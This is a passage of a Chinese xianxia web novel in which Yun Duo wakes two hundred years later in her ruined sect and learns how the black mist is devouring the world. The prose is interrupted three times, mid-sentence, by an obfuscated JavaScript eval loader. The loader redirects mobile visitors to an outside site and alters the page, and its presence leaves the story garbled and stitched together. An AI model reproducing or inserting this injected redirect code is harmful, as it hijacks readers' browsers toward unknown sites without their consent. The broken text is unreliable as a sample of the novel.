“那时候,觉得这后山好大,草怎么也除不完,太阳晒得人发晕……”他直起身,目光投向远方那片被杂草和荒芜覆盖的,曾经郁郁葱葱的土地,声音轻得像一声叹息,“如今再想起,却觉得像在做梦一样。我有时甚至觉得,可能哪天我一睁眼,会发现自己还在海底。” 他收回了目光,转身,不再看这片承载着童年记忆,如今却凋零破败的故园。 “走吧。” 云朵从他的声音里听出了疲惫。熟悉的风景在灾难面前褪去了所有色彩,只剩下灰败的底色,无时无刻在提醒着他们,那些无忧无虑的时光,已经是他们无法回去的旧梦了。 两人离开荒芜的灵田,走在一条布满碎石、通向更深处山坳的小径上。四周异常安静,只有风声呜咽。 季来之的脚步放缓,沉默了片刻,终于开口,声音低沉而缓慢,带着一种前所未有的郑重: “师妹,”他没有看云朵,目光投向远处晦暗的天际,“你有什么梦想吗?” 云朵微微一怔,不明白季来之为何突然问起这个。她想了想,答道:“我以前想做一个四处游历的大侠,斩奸除恶,让我的脚步和名声遍布全天下!现在的话……” 季来之:“现在的梦想已经不一样了吗?” 云朵垂下眼:“现在,我希望大师兄和二师兄能回来,我们四个还像以前一样,每天都能开开心心的。” 季来之叹息一声。 云朵却不期待他的回应,只自顾自地往下说:“以前宗门的大小事务都是大师兄在操心,现在就不一样了,我们都参与过宗门事务,可以帮上忙了!虽然我觉得我可能也只能干些清点物资之类的体力活,但是多一个人分担,大师兄肩上的担子就能少一些嘛,他就有时间休息,有时间陪我们一起聊天了。” 云朵说完,一拍脑袋:“哎呀,我光顾着自己说了,师兄,你的梦想呢?” 季来之道:“嗯……我其实没什么梦想。以前在海里,日子总是很平静,每天就是巡视领地、捕猎。闲下来也会找几只小鱼,看着他们吐泡泡,或者浮上海面,远远地看着陆地,幻想着那里的生活会是什么样的。” 云朵:“那你觉得,陆地上的生活跟你想象中的一样吗?” 季来之笑道:“很不一样,你知道的,人总是没法想象认知之外的事物。” 云朵:“那……比想象中要好吗?” 季来之点头:“是啊,虽然我适应了很久,但不得不说,陆地上的生活比海里要有意思。” 云朵“啊”了一声:“我还以为你会不喜欢,毕竟你的族人……” 季来之收起笑意:“这是两码事,我还是很喜欢浮云宗的大家的。” 云朵:“这样啊,那我们还挺荣幸的?” 季来之没有接话,沉吟片刻,道:“云朵。” 记忆里,季来之很少叫她的名字,云朵有些吃惊:“干嘛?突然这么叫我……” 季来之:“我希望,如果有一天,我们都不在了,你一个人也要开开心心的。” “季来之!”云朵被他说得心头猛地一紧,咬牙切齿道:“你知道你自己在说什么吗!你听听你说的这话,像不像在交待后事,像不像在说遗言!你再看看这四周的景,你觉不觉得不吉利啊!” 季来之摊手:“你就当我是在交代后事吧,现在这个情形,谁也不清楚明天会是什么样。” 云朵惊疑不定地看着他:“你……你是不是有什么事瞒着我?你是不是知道了什么?” 季来之看着她,抬起手,似乎想拍拍她的肩,最终却只是停在半空,复又放下。 他沉默了片刻,蓝色的双眼像是酝酿着飓风的海洋,云朵以为他会说些惊世骇俗的秘密,却只等来一声极轻的叹息: “走吧。” 季来之不再多言,只是转身,带着一种不容置疑的决绝,再次朝着后山更深处走去。 云朵站在原地,看着季来之的背影。 季来之给她的感觉一直就像一阵清风,他会路过这人世间的一切,但却只如清风拂柳,不作片刻停留。他一向独来独往,突然出现,又突然消失,只留给你一个火红色的背影。云朵见过太多次季来之的背影了,却从来没像这次一样,从他的背影中看出孤单。 咬紧下唇,云朵最终还是迈开步子,再次跟了上去,只是这一次,她的步伐沉重了许多,心头萦绕着前所未有的阴霾与沉重。 她知道,季来之带她去的地方,或许会告诉她答案。 绕过巨岩,穿过灌木丛,季来之停在了一面爬满深绿苔藓与枯藤、毫不起眼的山壁前。他伸出手,精准地按在一块颜色略深的凸起岩石上,掌心光芒亮起,灵力缓缓注入岩石。 几息之后,低沉的“隆隆”声传来,那块岩石连同周围山壁,竟从中间打开了一条缝,岩石缓缓向两旁移动,最终露出一个容两人通过的洞口。 从洞中透出一点微弱昏黄的光,在无边的黑暗背景上,固执地晕染开一小片模糊的、暖黄色的光晕。 季来之站在洞口,静静凝视着那点倔强摇曳的微光。 “跟我进来吧。”他低声对云朵说,然后率先一步踏入洞中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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季来之原本两只手都扶着她的肩膀,见她情绪失控,赶忙收回一只手,转而去轻拍她的后背,边拍边低声安抚:“别哭,别哭,师兄们看见你这样,等我去见他们时,岂不要找我算账。” 云朵的眼泪像决堤了一样,眼前明一阵暗一阵,耳边的声音时远时近。 在一片让她分不清现实与梦境的眩晕中,她又听到了一阵熟悉的、空灵飘渺的歌声。同样的歌声曾经多次出现在她的梦中,那……现在也是在做梦吗? 这个梦太可怕了,比之前被万虫噬咬还可怕。 如果是梦,能不能让她赶快醒来? “师兄……我是在做梦吗……”她徒劳地想抓住身旁的季来之,想求证什么,想呼喊什么,但她的嗓子干涩得像口干涸了十年的枯井,每发出一个音节都磨得剧痛。 歌声停下了,她听见季来之长长地叹息一声。 “睡吧,云朵。”季来之扶着她,借力让她平躺在地上,用手遮住她的双眼,指尖冷得像冰,“睡着了,就不会疼了。” 随着季来之话音落下,云朵的意识如同断了线的风筝,从那承受着巨大痛苦的躯壳里被猛地抽离,急速坠向无边的、冰冷的黑暗。 …… 不知过了多久,混沌的意识在黑暗中沉浮,一丝模糊的暖意和光亮,如同穿透厚重冰层的微弱阳光,艰难地渗透进来。 云朵艰难地、一点点掀开眼帘。 首先撞入模糊视线的,并非安魂殿冰冷的石顶或聚散堂房上的木梁,而是一片难以形容的景象: 巨大到遮天蔽日的树冠,如穹顶般严丝合缝地笼罩在她目之所及的整个天空之上。无数虬结苍劲的树枝纵横交错,层层叠叠,构成一张无比繁复的网,枝叶上散发着莹莹白光充斥着她的视野。 云朵眨了眨眼,脑中一片恍惚。 这……是哪里? 我不是在安魂殿吗?怎么闭了会儿眼,就来到了这个地方? ……安魂殿! 她仿佛突然从梦中惊醒。 安魂殿的冰冷石壁、季来之凝重的侧影、那几盏熄灭的魂灯、不知何处传来的歌声…… 记忆的碎片在脑海中翻腾冲撞,与眼前这梦幻般壮阔却又完全陌生的景象形成了撕裂般的错位感。 她按着剧痛的额角,挣扎着想要坐起,但双臂和腰背却像年久失修的机枢一般不听使唤。 就在她满心茫然,试图在翻腾的记忆中寻找答案时,一张放大的脸毫无预兆地闯入了她的视野。 那是一个约莫十岁的小男孩,巴掌大的瓜子脸上镶着两颗黑葡萄一样的眼睛。此刻,他正俯着身,凑得极近,双眼一眨不眨,充满好奇地盯着她。 两人四目相对,小男孩的双眼里瞬间爆发出璀璨的光。只见他长长的睫毛像小扇子一样快速扑闪了几下,嘴角咧开,露出两颗俏皮的虎牙和一口细密的小白牙,脆生生道: “神仙姐姐!你终于醒啦!” 32. 好梦最难留(3) 神仙姐姐……? 云朵原本就满心茫然,这下更懵了。 她不过是晕过去了,怎么再醒来,就变成神仙了? 她这样的人也能当神仙吗? 小男孩却不知道她内心的波涛翻涌,只眼睛亮亮地盯着她,好像见到了神明的信徒。 云朵尝试了半天,终于找回了自己的声音:“你是谁呀?” 小男孩脆生生道:“我叫长生。” 云朵:“长生,你为什么叫我神仙姐姐啊?” 小男孩歪着头,一脸困惑道:“大人都是这么叫你的,而且你住在天上,不是神仙姐姐是什么?” 住在天上? 云朵勉力爬起来,四下张望,这才发现他们所处的树干无比高大。她探头向下看去,能够看到下方以树为中心,排列着层层叠叠的人影,像是在对着树朝拜。更远处的山上分布着高高低低的建筑,从半山腰蔓延至山顶,云朵看着这风景,感觉有些眼熟。 这风景,看着像浮云宗,但是又感觉不太一样了。起码在她的记忆里,浮云宗里可没有这么一棵高耸入云的大树。 云朵不知道自己睡了多久,只感觉头涨涨地疼,脑子里像装满了浆糊,不甚清明。她揉了揉太阳穴,继续问:“这里是哪里啊?这地方这么高,你是怎么上来的?” 长生脸上露出了古怪的表情。 “神仙姐姐,你怎么什么都不知道呀?……哦,我懂了!你一定是为了保护大家,耗费太多法力,才记不起来的!” 云朵:谁?我吗? 但她也只能心里想想,面上不能露怯。 “这里是栖云镇,大人们都说这里有神木和神仙姐姐庇护,是最安全的地方啦!但是神仙姐姐为了保护我们和神树,只能一直待在天上,所以我就想上来看看你,要不然你一个人在天上多孤单啊!” 云朵听了他的话,目光又瞥了一眼遥远的地面,问道:“这树这么高,你自己爬上来的?” 她从这孩子身上完全感觉不到灵力的波动,也就是说,长生不可能是靠灵力飞上来的。这么高的树,一个小孩子就算再天赋异禀,也不可能靠自己的力量爬上来吧? 长生挺起胸脯,骄傲道:“我是让老大用纸片送我上来的!” 哦,看来是让修士用符纸吹上来的,不过…… “老大是谁?” 小孩挠了挠头,突然一拍脑门,道:“哎呀,我说不太明白,要不你直接跟着我去找老大吧!正好我这里还有一张纸,我可以带你一起下去!” 云朵正有此意,赶紧点头应下:“好呀,那就麻烦小长生了。” 小孩重重点头,把手伸进怀里掏了一阵,捏了张黄黄的符纸出来。 云朵试探道:“驱动符纸上的阵法,也是需要注入灵力的,你没灵力,怎么用符纸下去呢?” 长生:“神仙姐姐放心,虽然我很没用,但我们老大很有用的!他提前往符纸里存了灵力,我只需要默念咒语就行了!”说罢,他一手握着符纸,朝云朵伸出另一只手,“来,神仙姐姐,抓住我的手,不然掉下去就惨了,我可接不住你。” 我不用你接,我自己可以御剑下去! 云朵摸了摸腰间的盈盈剑,默默腹诽道。 但人家小孩都伸手过来了,也不好拂了人家的面子不是,云朵只好默默将手递过去,轻轻搭在长生的手上。 小孩的手心凉凉的,隐隐有些发汗。他握紧云朵的手,嘴中默念符咒,一阵金光溢出,云朵感受到手上传来拉力。 “快,神仙姐姐,咱们一起跳下去!”长生冲她喊道。 云朵挑眉,直觉这个方法不靠谱,索性手臂一揽,将小孩圈在怀里。盈盈出鞘,在长生连绵不绝的尖叫声中,云朵抱着他纵身一跃,御剑飞下。 云朵没有选择带着长生直接落在树下,听他刚才的描述,树下的人好像都把她当神仙拜。她若此时御剑下去,大概率就会被围观,说不定还得接受一群人的跪拜和祷告,那个场景她光是想一想就觉得头皮发麻。 不行!她最不擅长应对这种场景了!坚决不能下去! 云朵抱着已经僵住的小孩,催动盈盈剑一个拐弯,就朝着远处山腰的建筑群飞去。 耳边传来呼啸的风声,冰冷的气流擦过她的脸颊,让她醒来之后一直混沌的脑子稍微清醒了一些。 远处的屋舍越来越近,云朵瞧着越来越眼熟。 摔云坪、焦香轩、弟子居……还有最高处的聚散堂。虽然这些建筑跟她记忆中有区别,但这毫无疑问就是浮云宗! 为什么她只是睡了一觉,醒过来之后浮云宗就发生了这么大的变化?云朵感觉自己急需找一个人来解答疑惑。 她摇了摇怀里的小孩,问:“你刚才说的老大在哪里?你能不能带我去见他?” 长生估计是第一次被人带着御剑,缩在云朵怀里,浑身僵硬,脸色惨白,连喊都喊不出来了,被她摇晃两下,只弱弱地道:“在、在山顶,聚散堂里……” 云朵没有迟疑,立马御剑朝聚散堂飞去。 甫一落地,云朵收剑入鞘,直奔聚散堂。 堂内站着几个人,看上去是在等着汇报工作。云朵进来的动静吸引了他们的注意力,几人纷纷侧身回头看过来,露出了远处的桌案。 桌案后坐着一道白衣身影,见到她们,霍然起身。 云朵停在距桌案十步的地方。怀里的小孩终于缓过来了,挣扎了两下从她怀中跳出来,冲着那白衣身影跑过去,声音里满是兴奋:“老大老大!我把神仙姐姐叫醒带过来了!” 没了怀里的小累赘,云朵这才把注意力放在对面的人身上。 那人弯腰揽住冲进怀里的长生,黑色的长发如瀑垂下,缀在雪白的衣衫上。 云朵觉得这人看着眼熟,但他低着头,脸被垂下来的头发挡个严实。 待那人抬起头,熟悉的面容映入眼帘,云朵惊道:“林公子!” 万万没想到,长生口中的“老大”,竟然是林星遥。 林星遥看到云朵,表情先是空白了一瞬,很快又被他调整成了熟悉的笑容,只是眼中有着掩饰不住的怀念。 “好久不见,云姑娘。” 好久不见? 云朵上下打量了林星遥一下,发现眼前这人和她记忆中确实不太一样,感觉身形更高了,气质也更加沉稳。变化最大的当属着装,林星遥居然没有穿着霁华宗的白金华服,只穿了身朴素的白衣,面料虽然不差,但跟霁华宗的衣服还是没法比了。头上也没有束冠,只是用发绳简单绑了一下,大部分都披散在背后。 怎么说呢,明明是熟悉的地方、熟悉的人,却总给她一种物是人非的感觉。 林星遥大概是看出了她的疑问,温声道:“云姑娘,我知道你一定有不少疑问,但如你所见,我这里还有事要处理。能否麻烦你先带长生去后殿稍坐,等我这边忙完,就去找你,为你解惑?” 云朵点头。自她醒来,感觉周围的世界变得陌生了很多,她也需要稍微缓缓,于是拉着长生的手进了后殿,随便找了个座位坐下。 不一会儿,有个穿着粗布衣服的少年端着托盘走进来,将上面放着的两个杯子放在了云朵和长生面前,行个礼出去了。 长生之前说了不少话,又在剑上吹了好久的风,估计渴坏了,端起杯子吹了两下,就咕嘟嘟喝了个干净,喝完还长叹一口,感叹道:“不愧是老大的茶,好喝!” 云朵捧起杯子,见里面飘着几片叶子,茶汤颜色也淡淡的,心中纳闷:好喝?这茶看着就没什么味道吧。按理说浮云宗这地界,虽然算不上什么风水宝地,可也不至于穷的揭不开锅吧?为什么感觉现在这里人的吃穿用度都下降了不止一个档次? 云朵捧着杯子发呆,直到杯中不再飘出袅袅白烟,林星遥的身影才出现在后殿,脸上带着歉意。 “抱歉,云姑娘,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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云朵失声道:“二百年?!” 她简直不敢相信自己的耳朵,她感觉自己不过是睡了一觉,怎么就已经过去二百多年了?! 她死死地盯着林星遥,想要从他的脸上寻找到一丝他在开玩笑的证据,然而林星遥的神情却正常得很,他大概也看出了云朵的心思,脸上挂起无奈的笑:“云姑娘,虽然对你来说可能很难接受,但确实已经过去二百余年了。这些年里发生了很多事,我们和黑雾的斗争还没有结束,很多人在这个过程中付出了生命……霁华宗、天剑阁,还有许许多多大小门派,都消失在了这场漫长的拉锯战中。据我所知,现在栖云镇已经是世间最大的城镇了。” 云朵艰难地消化着听到的消息:“那……其他地方的人都死光了?就剩我们了?” 林星遥:“应该还是有一些幸存者的,但绝大多数活人都在这里了。” 云朵:“那是不是有一天,黑雾会把我们吞噬掉,这个世间就再也没有人了?” 林星遥摇头:“也没有这么悲观,只要神树还在,就不用担心。只是神树庇护的范围有限,所以我们的很多活动都难以开展。你应该也能感受到,这里的物资不是很丰富。” 云朵点头:“这个我确实感受到了。” 林星遥:“好在现在虽然没有修仙门派了,但依然有修士,他们会定期组织清扫黑雾的队伍,我们一般称其为驱雾队。”他说到这,停顿了一下,话锋一转,“但黑雾这种东西,似乎也在与我们的战斗中逐渐产生了意识,他们也在不断学习、不断变强。” 云朵吃了一惊:“黑雾有意识?!你们确定吗?那东西怎么看都像是怨气一类的东西吧!” 林星遥苦笑道:“不然,云姑娘觉得为什么那么多门派的长老和精锐,都折戟于黑雾中?” 云朵更吃惊了:“什么!连那些大门派的人,也都是在跟黑雾的战斗中死去的?” 林星遥:“除了前期因为各方互斗产生的伤亡,之后一百多年里,无数人殒命于战场。” 云朵沉默了。她同黑雾交手过,又亲眼见证了天破。她知道那些东西很难缠,但她从来没有想过,黑雾竟然一寸一寸地蚕食了这片土地,甚至要把人们的生存空间挤压到这方寸之间。 浮云宗,竟成为了人类在这世间最后的家园。 33. 好梦最难留(4) 林星遥见云朵神情木然,也有些不忍:“云姑娘,你刚从沉睡中醒来,这些事情你恐怕一时难以接受。我想,与其让我在这里讲给你听,你不妨用自己的双眼看一看,也许还会见到一些老朋友。” 云朵奇道:“老朋友?除了你,这里还有我认识的人?” 林星遥:“你们肯定见过,但认不认识……我就说不好了。” 云朵:“我怎么觉得你好像在暗示我……记性不好?” 林星遥轻咳一声:“这样吧,云姑娘第一站不妨先去医馆。你毕竟睡了两百年,让那里的医修检查一下身体有无异样,也好放心。” 云朵觉得他说得有道理,点头道:“既然这样,我就不继续叨扰了,我看你这个老大应该挺忙的。” 林星遥尴尬地笑笑:“云姑娘就别打趣我了……” “哪有打趣,我说得可是实话,我大师兄主持宗门事务的时候,大大小小的事都需要他定夺,可忙了。”云朵拍拍他的肩,发现之前的不是错觉,他果然长高了一些,“我走啦,改天见!” 林星遥所说的医馆,正是原先被他们划出来安置受灾百姓的那片客房,想到当年的日子,虽然有些苦中作乐,但那些百姓的善良和淳朴让给云朵留下了很深的印象。再一想到当年的那些面孔,怕是都早已化作一抔抔黄土,刚刚明媚起来的心情就又低落了下去。 医馆自那之后修缮过,如今看起来整洁了不少,虽然有不少人进进出出,但没有那种乱糟糟的感觉。 云朵站在医馆门口,往里面看,见一排排病床摆放得整齐,窗子应该是在修缮的时候更换过,窗口比之前大了不少,更多的阳光透进来,屋里并不显得阴暗。大部分病床上都躺着人,有个身着黑衣的女修在病床之间穿行,时不时跟躺在床上的人交代几句。 云朵看了一会儿,有点犹豫着要不要进去。虽然林星遥建议她来让医修检查一下,但她没病没灾的,也没觉得哪里不舒服,过去打扰人家正常工作,属于是忙中添乱,容易被人嫌弃。更何况她也着实没在这医馆里看见熟悉的身影,但以她对林星遥的了解,他没必要说这种谎话骗她。 大概是她在门口探头探脑了太久,黑衣女修在跟最后一位病人交代完后,抬头看了过来。云朵这才有机会看清她的面貌,这一看不要紧,好像还真是个熟人! 那女修脸上也露出无比震惊的表情,抬手指着她道:“你,你不是那个……嗯……季来之的师妹!” 云朵想说的话被她的说法卡了一下,无奈道:“我是云岁宁,你……是幻渺阁的阮姑娘吧?” 阮织梦愣了,随后脸上露出了怀念又伤感的神情:“真是好久没听过幻渺阁的名号了,也就你还能这么坦然地说出来。” 云朵“啊”了一声,心道自己大概是说错话了。 但是说出去的话如同泼出去的水,无论如何也是收不回来了,只得生硬地转移了话题:“阮姑娘怎么在这里?你现在是医馆的医生?” 阮织梦也没有继续伤感,脸上恢复了平静的神色,点头道:“是啊,你既然知道我的名字,那应该还记得我是个蛊修?医蛊同源,我也算是半个医修吧,这边缺人手,我就过来帮忙了。” “原来是这样。”云朵抬眼环顾四周,视线扫过病床上的病人,“这里的伤患看上去不多?” 阮织梦耸耸肩:“现在确实不多,只要他们不去讨伐那些黑雾,我这里平时清静得很。” 云朵好奇道:“讨伐黑雾?是林公子带队去吗?” 阮织梦:“怎么可能!林公子现在是这里的主心骨,他可没时间干这种差事。带队的都是那帮子莽夫——哦对,跟你应该说,是那帮‘天剑阁’的人。”阮织梦顿了顿,组织了一下语言,“你应该还记得岳沉舟、柳折青、陆夜白这几个名字吧?” 云朵回忆了一下,点了点头:“前两个我有印象,当年比武大会上都和我三师兄交过手,但最后一个我却没什么印象了。” 阮织梦“哦”了一声,解释道:“陆夜白是当时天剑阁的大师兄,我们参加的那次比武大会他没出现,倒跟你大师兄有点渊源……” 云朵一拍手,抢答道:“你这么一说,我就想起来了!他就是当年在比武大会上输给我大师兄的那位天剑阁的师兄!” 阮织梦嘴角抽了抽:“这话你最好别让他们仨听见……” 云朵连忙点头,做了一个把嘴封上的动作。 阮织梦被她逗乐了,摆摆手道:“也还好啦,都过去那么久了,他们早就不在意了……” 话音还没落下,远处的一张病床上突然传来痛苦的呻吟声。云朵被吓了一跳,惊疑不定地看向阮织梦。阮织梦瞬间恢复了严肃的表情,霍然起身,冲到那张病床前。 云朵跟在她身后,在见到病床上的人后,却没忍住发出一声惊呼。那人左手左脚完好无损,右边的手脚却消失了,肩膀和腿根处缠满了绷带,绷带上染着星星点点的暗红色血迹。 阮织梦像是早已看惯了这种场景,她一边从腰间的储物袋中掏出一包一包的药粉,一边扭头对云朵说:“帮我按住他!别让他扑腾得太狠。” 云朵应下,赶紧来到病床前,伸手按住床上之人的双肩。 阮织梦动作利落地拆下那人肩膀上的绷带,内层的绷带上还沾着一些伤口上带下来的碎肉,每拆下来一圈,云朵手下按着的人的惨叫就拔高一分。绷带完全剥落后,那人的伤口暴露在云朵的视线下,伤口看着像是被什么力大无穷的怪物生生撕裂,颜色黑中带红,黑色的是肉,红色的是血。 云朵从未见过这般诡异的伤口,不由得直冒冷汗:“阮小姐,这……” 阮织梦没看她,手上动作不停,只淡淡道:“你先别说话,等处理完他的伤口咱们再聊。” “好。”云朵只好全神贯注地控制住床上的人,看着阮织梦熟练地清理伤口、敷上药粉、缠好绷带。 等替那人清理完肩膀和腿根处的伤口,那人已经疼得昏过去了。云朵松开手,抹了抹额头上的汗珠,转头看向阮织梦。 阮织梦冲她做了个噤声的手势,指了指门口。 二人走到医馆门外,阮织梦反手带上了门,抬头对云朵道:“有什么问题,问吧。” 云朵道:“刚才那人,是怎么受伤的?” 阮织梦有些奇怪道:“你没见过?那伤口是很典型的黑雾伤呀。天破之后,你不是也醒着一段时间吗?你们浮云宗还收容了不少附近的灾民,你居然没见过这种伤口?” 云朵摇头:“我从未见过,天破不久,二师兄就下令开启了护宗大阵,之后收容的百姓也都全须全尾的……” 阮织梦恍然大悟:“也对,你们浮云宗的那三个内门弟子个顶个的厉害,把你保护得这么好也就不稀奇了。” 云朵斟酌了一下用词,问道:“所以,被黑雾碰到,会被……吃掉?” 阮织梦:“嗯……其实以前不会的,但是现在那些雾是越来越厉害了,大概从几十年前开始吧,变得像活物一样,我们这边的损失一下子就惨重了起来。” 云朵:“之前林公子也提到了,黑雾像是产生了意识,这东西到底是什么啊?” 阮织梦摇头:“没人知道,这么多年了,无数的人前赴后继,死的死伤的伤,却始终没弄明白那些东西到底是个什么,只知道它们跟怨气很像。” 云朵听到这里,也皱起了眉头:“怎么会这样?那我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062193|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只能坐以待毙了吗?” 阮织梦朝神树的方向努努嘴,道:“那边不就是我们最后的希望吗?虽然不明白为什么,但黑雾确实怕那棵树怕得厉害,有它杵在那,应该不会出什么大问题,只要那群神神叨叨的家伙别再拿神树乱搞。” 云朵:“神神叨叨的家伙?乱搞?”她觉得有点听不懂阮织梦的话了。 阮织梦:“你从那棵树上下来的时候,应该见到过了吧?他们每天都围在树底下拜个不停,有的祈祷神树显灵,有的祈祷神女显灵。” “神女”云朵摸了摸鼻子,有些尴尬地问:“他们不就是整天求神拜佛的吗,没有乱搞什么吧?” 阮织梦道:“大部分是这样没错,但也有一些不安分的人,总想靠自己的一些小聪明拯救世界,但他们自己的能力又有限,换做是你,你会怎么做?” 云朵思索片刻,道:“借助外力?” 阮织梦赏了她一个赞许的眼神:“没错!那这个外力去哪里借呢?或者说,在现在这个世道下,有谁会愿意把多余的力量借给他们打水漂?” 云朵结合阮织梦之前话里的蛛丝马迹,豁然开朗:“神树?!他们从神树中借力量?” 阮织梦:“答对了!可惜我兜里没有带糖果。” 云朵喃喃道:“可是,他们怎么做到的?” 阮织梦:“那办法可太多了,最简单的就是刮几块树皮下来,多亏这神树长得高高大大,要不然都不够他们霍霍的。” 云朵道:“不能禁止他们靠近神树吗?林公子不是符修吗?在神树周围布个阵法应该不是什么难事。” 阮织梦叹了口气:“以前不是没这么干过,但是那些整天拜来拜去的人就不干了。这帮人,要么就是别有用心,要么就是一根筋,共同点就是不达目的誓不罢休,他们天天起早贪黑地闹,把林星遥烦得够呛。最后想着他们也翻不出什么大浪,也就放任他们了。” 云朵刚想问,那不是没什么可担心的吗,结果阮织梦话锋一转,低声道:“但最近,有些人开始把心思打到神树本体上去了,不知道他们往神树里面弄了些什么东西,我们不止一次在神树树干上发现奇怪的斑点。虽然目前还没什么影响,但谁知道积少成多之后会发生什么?要是哪天神树被他们弄出个好歹,那大家真就是要死一起死了。” 云朵大惊:“抓不到始作俑者吗?” 阮织梦愤愤道:“我们倒是想,可这栖云镇住着十几万人,整天去神树那边晃悠的人都有几万,他们还不一定是哪天动手,谁有闲工夫整天在那边盯着?现在可以说到处都缺人手,都不说林星遥了,我整天泡在这里脱不开身,天剑阁那仨要么带队外出讨伐,回来也是天天泡在练兵场,都分不出心思来管这个,有时间的人,又大概率靠不住,啧。” 阮织梦话里的怨气让云朵缩了缩脖子,生怕自己喘气声音大了都要惹得她不开心。 阮织梦的气来得快去得快,见云朵一副大气不敢出的样子,无奈道:“好了,我今天跟你说的够多了,得回去盯着那些伤患去了,你要是没事的话就去练兵场看看吧,就是你们浮云宗之前的训练场,叫什么来着……” 云朵立马接话:“摔云坪!” 阮织梦:“对,就是这个名字!天剑阁那仨现在应该在那折磨他们手底下的修士呢,你要是想知道黑雾相关的事儿,问他们比我靠谱。当然,但愿他们仨还记得你吧。” 云朵向她行了一礼:“多谢阮小姐,我就不多打扰了。” 阮织梦噗地笑出声,像是看见了什么奇事:“你这一礼,要是被那群天天去拜神仙的人看见,怕是要连夜来讨伐我了。” 云朵被她打趣得脸颊发热,赶紧离开了。 34. 好梦最难留(5) 顺着记忆中的路来到摔云坪,远远地就听到了震天的喊杀声。云朵走近一瞧,只见场上整整齐齐地站满了人,随着口号声一招一式地比划着。有两个人影穿梭在阵列中,时不时停下来,帮着身边的人调整姿势。 方阵的最前面用大石块垒了个高台,台上站着一个人,一身暗红衣衫,静静地注视着台下众人。 云朵的脚步停在练兵场门口,有些踌躇。 以前在浮云宗,这地方与其说是练武场,不如说是让弟子们撒欢的地方。 十几岁的孩子,正值活泼好动的年纪,一般中规中矩地比划几十招,动作就开始变形了。挨着站的几人说不定还会打闹到一起,队形早就变形得没影了。 若是夏南烛恰好过来监督训练,可能还会冷着脸管一管这群皮猴子,抓几个闹得最欢的弟子,罚他们在烈日下扎几个时辰的马步。若是云怀清路过,只会笑眯眯地感叹年轻真好,然后步履匆匆地赶往下一站。若是季来之和云朵,那大概率就会丝滑加入,并成为被夏南烛抓的“典型”。 而现在,演武场中一片肃杀,口号声与剑啸声此起彼伏,与她认知中的摔云坪相去甚远,场上的人她也都不熟悉,让她有些迈不开步。 云朵本想在外面等他们训练结束再进去,或许是她在门口停留的时间太长了,高台上的人目光转向她这边,顿了片刻,朗声对下面道:“指导就到这里,接下来你们一对一组队训练吧。” 台下弟子们齐声回道:“是!”随后各自找对手去对练了。 台上人一跃而下,负手向云朵走来。期间,他身后还多出一黑一白两个人,正是刚刚在台下纠正弟子们动作的那两人。那两人像左右护法一般,一左一右地跟在红衣人身后,一个一脸阴郁,一个一脸正气。等三人在云朵面前站定,云朵感觉面前像是竖起了一道高墙,久经战阵锻炼出的杀气与威压倾斜而下,压得她有些透不过气来。 为首的红衣男子目光冷冷地盯着她,问道:“我之前从未见过你,你是什么人?从哪里来的?” 云朵向三人行了一礼,抬头直视他,镇定道:“我是浮云宗的云岁宁,虽然我也不是很清楚,但我之前一直在神树上沉睡,刚清醒不久。林公子让我到处逛逛,说这里可能遇到熟人。” 对面三人听到她的回答,都露出了惊讶的表情,红衣男子沉思片刻,答道:“既然是浮云宗的弟子,又见过林星遥了,那我们便不再多问了。我是驱雾队的陆夜白,黑色衣服的是岳沉舟,白色衣服的是柳折青,他们二人都是我的师弟。”说完,三人也朝她回了一礼。 气氛缓和下来,云朵暗暗松了口气,心道真不愧是天剑阁的人,气场就是强。只不过陆夜白的形象跟她想象得有差距,她本以为天剑阁人人称道的大师兄,会是个五大三粗的壮汉形象,没想到竟是个眉清目秀的青年。 她还在心里百转千回,对面的人已经开口了:“我见你方才一直在门口探头探脑的,可是有什么事找我们?” 对面开门见山,倒是让云朵不用思考如何引入话题了,于是试探性地问:“实不相瞒,我来这里之前去了趟医馆,在那里见到了被黑雾侵蚀的伤患……”她顿了顿,不愿再回想当事人的惨状,“我听林公子和阮小姐说,陆公子时常会带领修士外出清扫黑雾,所以想来了解一下情况。” 陆夜白听后,脸上依旧波澜不惊:“你想了解什么,尽管问吧。” 云朵组织一下语言,问道:“我听说,黑雾像是有了意识,这是真的吗?” 陆夜白轻笑一声:“看来他们跟你说了不少。黑雾诞生了意识,这么说好像也没错。” 云朵忙追问:“具体有什么表现呢?” 陆夜白像是回想起了什么不开心的事,沉声道:“它们会像一个整体一样行动,利用地形优势围堵我们,之前有队伍被它们诱骗到山坳里围剿,最后全军覆没。” 云朵:“这、这怎么可能?那些黑雾我也曾接触过,它们应该就是怨气一类的东西,灵气尚且不能产生自主意识……” 陆夜白:“你也说了,它们是怨气一类的东西,但并不是怨气,或者说不完全是怨气。你接触它时,它的确如死物一般,但经过这么多年,它们早已进化得异常危险,这也是为什么我们要定期派人出去清理。” 云朵:“那能不能让我也加入你们?我已经结丹了,可以自保。” 刚刚在场外的时候,她大致观察了一下,练兵场上的金丹修士不足十分之一。她本来觉得,一个金丹修士的加入,虽然算不得如虎添翼,起码也能算是个可靠战力,没想到陆夜白一口回绝。 “你的身份特殊,不能加入我们。” 云朵急道:“为什么?我的身份有什么特殊的?” 陆夜白有些诧异:“林星遥和阮织梦没有跟你说过吗?……也对,你才刚醒,跟你说这些你大概也不太明白。” 云朵急道:“可是你们都不说,我就更不懂了呀。” 